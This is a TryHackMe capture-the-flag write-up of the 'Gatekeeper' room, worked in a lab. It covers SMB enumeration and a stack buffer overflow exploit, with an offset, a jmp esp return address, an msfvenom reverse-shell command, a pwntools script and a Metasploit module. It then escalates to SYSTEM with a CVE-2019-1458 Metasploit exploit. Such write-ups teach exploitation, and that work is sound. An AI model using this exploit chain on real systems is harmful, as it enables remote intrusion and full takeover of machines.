TryHackMe - Gatekeeper
Initial Scan
Perform the usual nmap
scan and take note of ports 139
, 445
, and 31337
nmap -Pn -p- --open $IP
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-12 22:42 PDT
Stats: 0:00:35 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 38.52% done; ETC: 22:44 (0:00:56 remaining)
Nmap scan report for 10.10.56.66
Host is up (0.15s latency).
Not shown: 63786 closed tcp ports (conn-refused), 1738 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
31337/tcp open Elite
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49163/tcp open unknown
49165/tcp open unknown
nc $IP 31337
hello
Hello hello!!!
goodbye
Hello goodbye!!!
Definitely an 31337
echo service. What about SMB?
smbclient -L $IP -U guest
Password for [WORKGROUP\guest]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Users Disk
Ok, let's see what we find in that Users
share.
smbclient -I $IP -U guest //$IP/Users
Password for [WORKGROUP\guest]:
Try "help" to get a list of possible commands.
smb: \> dir
. DR 0 Thu May 14 18:57:08 2020
.. DR 0 Thu May 14 18:57:08 2020
Default DHR 0 Tue Jul 14 00:07:31 2009
desktop.ini AHS 174 Mon Jul 13 21:54:24 2009
Share D 0 Thu May 14 18:58:07 2020
7863807 blocks of size 4096. 3877004 blocks available
smb: \> cd Share
dirsmb: \Share\> dir
. D 0 Thu May 14 18:58:07 2020
.. D 0 Thu May 14 18:58:07 2020
gatekeeper.exe A 13312 Sun Apr 19 22:27:17 2020
7863807 blocks of size 4096. 3877004 blocks available
I'd bet that gatekeeper.exe is what's behind that port 31337
.
Buffer Overflow
Download and Analyze
While we can mess with the service through netcat, it's not going to tell us a whole lot. Luckily since we can get a copy of the executable, we can mess with it under a microscope debugger.
First step is just to see if we can crash it. Classic a
repeated as many times as it takes to crash the program:
Unhandled exception: page fault on read access to 0x61616161 in 32-bit code (0x61616161).
Register dump:
CS:0023 SS:002b DS:002b ES:002b FS:006b GS:0063
EIP:61616161 ESP:00f619a4 EBP:61616161 EFLAGS:00010286( R- -- I S - -P- )
EAX:ffffffff EBX:00451998 ECX:00f61904 EDX:00000008
ESI:00b504d0 EDI:00000000
Stack dump:
0x00f619a4: 61616161 61616161 61616161 61616161
0x00f619b4: 61616161 61616161 61616161 61616161
0x00f619c4: 61616161 61616161 61616161 61616161
0x00f619d4: 61616161 61616161 61616161 61616161
0x00f619e4: 61616161 61616161 61616161 61616161
0x00f619f4: 61616161 61616161 61616161 61616161
Backtrace:
=>0 0x61616161 (0x61616161)
0x61616161: -- no code accessible --
This indicates it's a stack overflow, so let's generate a pattern to help us find where in our input we effect certain values like the eip
register:
msf-pattern_create -l 1024
Then feed that output to the program:
Unhandled exception: page fault on read access to 0x39654138 in 32-bit code (0x39654138).
Register dump:
CS:0023 SS:002b DS:002b ES:002b FS:006b GS:0063
EIP:39654138 ESP:00f619a4 EBP:65413765 EFLAGS:00010286( R- -- I S - -P- )
EAX:ffffffff EBX:00451998 ECX:00f61904 EDX:00000008
ESI:00b504d0 EDI:00000000
Stack dump:
0x00f619a4: 41306641 66413166 33664132 41346641
0x00f619b4: 66413566 37664136 41386641 67413966
0x00f619c4: 31674130 41326741 67413367 35674134
0x00f619d4: 41366741 67413767 39674138 41306841
0x00f619e4: 68413168 33684132 41346841 68413568
0x00f619f4: 37684136 41386841 69413968 31694130
Backtrace:
=>0 0x39654138 (0x65413765)
0x39654138: -- no code accessible --
Now lookup where in that generated pattern the value in eip
(39654138
) is found:
msf-pattern_offset -q 39654138
[*] Exact match at offset 146
So we should be able to overwrite the instruction pointer with a value of our choice, and hopefully some room for shellcode. That just leaves the questions of where do we want to jump to and what is our shellcode?
Make the Jump
Since our shellcode is also going to be on the stack (at least that's the plan), we need to jump there. We might not be able tp use a fixed address, so another approach would be to find some known location that will jump there for us. Somewhere in the code that jumps to the stack pointer. Here's how jmp esp
assembles:
msf-nasm_shell 32
nasm > jmp esp
00000000 FFE4 jmp esp
Run the executable on a windows machine, attach with immunity debugger. Look for a jmp esp
.
!mona find -s '\xff\xe4'
There are two most promising locations are in pages marked as executable, there may be many others.
0x080414c3 : '\xff\xe4' | {PAGE_EXECUTE_READ} [gatekeeper.exe] ASLR: False, Rebase: False, SafeSEH: True, CFG: False, OS: False, v-1.0- (C:\Users\chad\Downloads\gatekeeper.exe), 0x8000
0x080416bf : '\xff\xe4' | {PAGE_EXECUTE_READ} [gatekeeper.exe] ASLR: False, Rebase: False, SafeSEH: True, CFG: False, OS: False, v-1.0- (C:\Users\chad\Downloads\gatekeeper.exe), 0x8000
Create payload
Generate shellcode
We can generate shellcode with msfvenom
, specifying options for how to connect back and --bad-chars
to avoid. We want to avoid the null terminator, 0x00
and the return character 0x0a
so the that the entire payload gets placed in memory contiguously. Null would terminate a string, and 0x0a
is \n
which triggers the service to response.
➜ ~ msfvenom -p windows/shell_reverse_tcp LHOST=10.2.7.89 LPORT=4444 -f python -v shell_code --encoder x86/shikata_ga_nai --bad-chars "\x00\x0a"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 2070 bytes
shell_code = b""
shell_code += b"\xbb\x72\x99\x27\x9e\xda\xc7\xd9\x74\x24"
...
So now we have shellcode formatted as python upon which we can base the rest of a script.
Write a script
A simple python script will get the job done. You don't have to use pwntools, but I did here because it was handy. Take the output from msfvenom
and add it to the script.
import sys
from pwn import *
#msfvenom -p windows/shell_reverse_tcp LHOST=10.2.7.89 LPORT=4444 -f python -v shell_code --encoder x86/shikata_ga_nai --bad-chars "\x00\x0a"
shell_code = b""
shell_code += b"<blah blah blah>"
shell_code += b"<rest of shellcode>"
nop = b'\x90'
# jmp esp
# 0x080414c3
# 0x080416bf
pc = b'\xc3\x14\x04\x08'
payload = (b'A' * 146) + pc + (nop * 16) + shell_code + b'\n';
io = remote(sys.argv[1], 31337)
io.send(payload)
Catch Reverse Shell
One easy way to listen for connections is with netcat
. Just specify what port to listen on. You can also optionally specify what address, or just listen on 0.0.0.0
:
➜ gatekeeper git:(master) ✗ nc -lvp 4444
listening on [any] 4444 ...
10.10.201.74: inverse host lookup failed: Unknown host
connect to [10.2.7.89] from (UNKNOWN) [10.10.201.74] 49192
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\natbat\Desktop>whoami
whoami
gatekeeper\natbat
C:\Users\natbat\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 3ABE-D44B
Directory of C:\Users\natbat\Desktop
05/14/2020 09:24 PM <DIR> .
05/14/2020 09:24 PM <DIR> ..
04/21/2020 05:00 PM 1,197 Firefox.lnk
04/20/2020 01:27 AM 13,312 gatekeeper.exe
04/21/2020 09:53 PM 135 gatekeeperstart.bat
05/14/2020 09:43 PM 140 user.txt.txt
4 File(s) 14,784 bytes
2 Dir(s) 15,886,864,384 bytes free
C:\Users\natbat\Desktop>type user.txt.txt
type user.txt.txt
{**************}
The buffer overflow in this room is credited to Justin Steven and his
"dostackbufferoverflowgood" program. Thank you!
Metasploit
Another popular way to run exploits and additional tools is Metasploit. We can write a simple exploit
module and use that.
'Payload' =>
{
'BadChars' => "\x00\x0a"
},
'Targets' =>
[
[
'Windows',
{
'Platform' => 'win',
'Ret' => 0x080414c3
}
]
],
...
def exploit
connect
print_status("Sending #{payload.encoded.length} byte payload...")
buf = 'A' * 146
buf << [ target.ret ].pack('V')
buf << Array.new(16, 0x90).pack('c*')
buf << payload.encoded
buf << [ 0x0a ].pack('V')
sock.put(buf)
handler
end
msf6 exploit(windows/misc/gatekeeper) > exploit
[*] Started reverse TCP handler on 10.2.7.89:4444
[*] 10.10.168.162:31337 - Sending 323 byte payload...
[*] Sending stage (175686 bytes) to 10.10.168.162
[*] Meterpreter session 3 opened (10.2.7.89:4444 -> 10.10.168.162:49208) at 2023-10-01 14:26:57 -0700
meterpreter > sysinfo
Computer : GATEKEEPER
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
One advantage of using Metasploit is the post-exploitation tools it provides. This may come in handy when looking to escalate privileges rather than doing it manually.
Privilege Escalation
Let's gather some info.
OS Name: Microsoft Windows 7 Professional
OS Version: 6.1.7601 Service Pack 1 Build 7601
System Type: x64-based PC
msf6 post(windows/gather/win_privs) > run
Current User
============
Is Admin Is System Is In Local Admin Group UAC Enabled Foreground ID UID
-------- --------- ----------------------- ----------- ------------- ---
False False False False 1 GATEKEEPER\natbat
Windows Privileges
==================
Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
[*] Post module execution completed
- The computer is not part of Active Directory
- The
natbat
user is not an admin, nor a member of the local admins group - None of the privileges indicate impersonation or other token tricks are going to work.
- I didn't find any unquoted service paths or opportunities to hijack a Dll.
Metasploit to the Rescue
Since I failed to manually find any privilege escalation approaches, having turned the initial exploit into a Metasploit module is going to come in handy. The approach from here:
- Migrate the meterpreter shell to an x64 process
- Use
post/multi/recon/local_exploit_suggester
- Try out most likely privilege escalations suggested
Migrate
meterpreter > migrate 1400 [*] Migrating from 1772 to 1400... [*] Migration completed successfully. meterpreter > sysinfo Computer : GATEKEEPER OS : Windows 7 (6.1 Build 7601, Service Pack 1). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 1 Meterpreter : x64/windows
Local Exploit Suggester
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 10.10.56.66 - Collecting local exploits for x64/windows...
[*] 10.10.56.66 - 186 exploit checks are being tried...
[+] 10.10.56.66 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.56.66 - exploit/windows/local/cve_2019_1458_wizardopium: The target appears to be vulnerable.
...
Run the exploit
msf6 exploit(windows/local/cve_2019_1458_wizardopium) > set SESSION 2
SESSION => 2
msf6 exploit(windows/local/cve_2019_1458_wizardopium) > set LHOST 10.2.7.89
LHOST => 10.2.7.89
msf6 exploit(windows/local/cve_2019_1458_wizardopium) > set LPORT 4445
LPORT => 4445
msf6 exploit(windows/local/cve_2019_1458_wizardopium) > run
[*] Started reverse TCP handler on 10.2.7.89:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Triggering the exploit...
[*] Launching msiexec to host the DLL...
[+] Process 1876 launched.
[*] Reflectively injecting the DLL into 1876...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (200774 bytes) to 10.10.56.66
[*] Meterpreter session 3 opened (10.2.7.89:4445 -> 10.10.56.66:49205) at 2023-10-12 22:11:12 -0700
meterpreter > shell
Process 2676 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>cd C:\Users\mayor
cd C:\Users\mayor
C:\Users\mayor>cd Desktop
cd Desktop
C:\Users\mayor\Desktop>type root.txt.txt
type root.txt.txt
{*************************}
Conclusion
I mostly don't use Metasploit when doing CTFs, but on this one I was inclined to try it out. We didn't have to write a Metasploit module, and instead just catch the shell created by our script in Metasploit and then use post exploit tools, but it was informative to give the module a try. I still have a long way to go on improving my Windows privilege escalation and having those tools definitely saved my bacon on this one.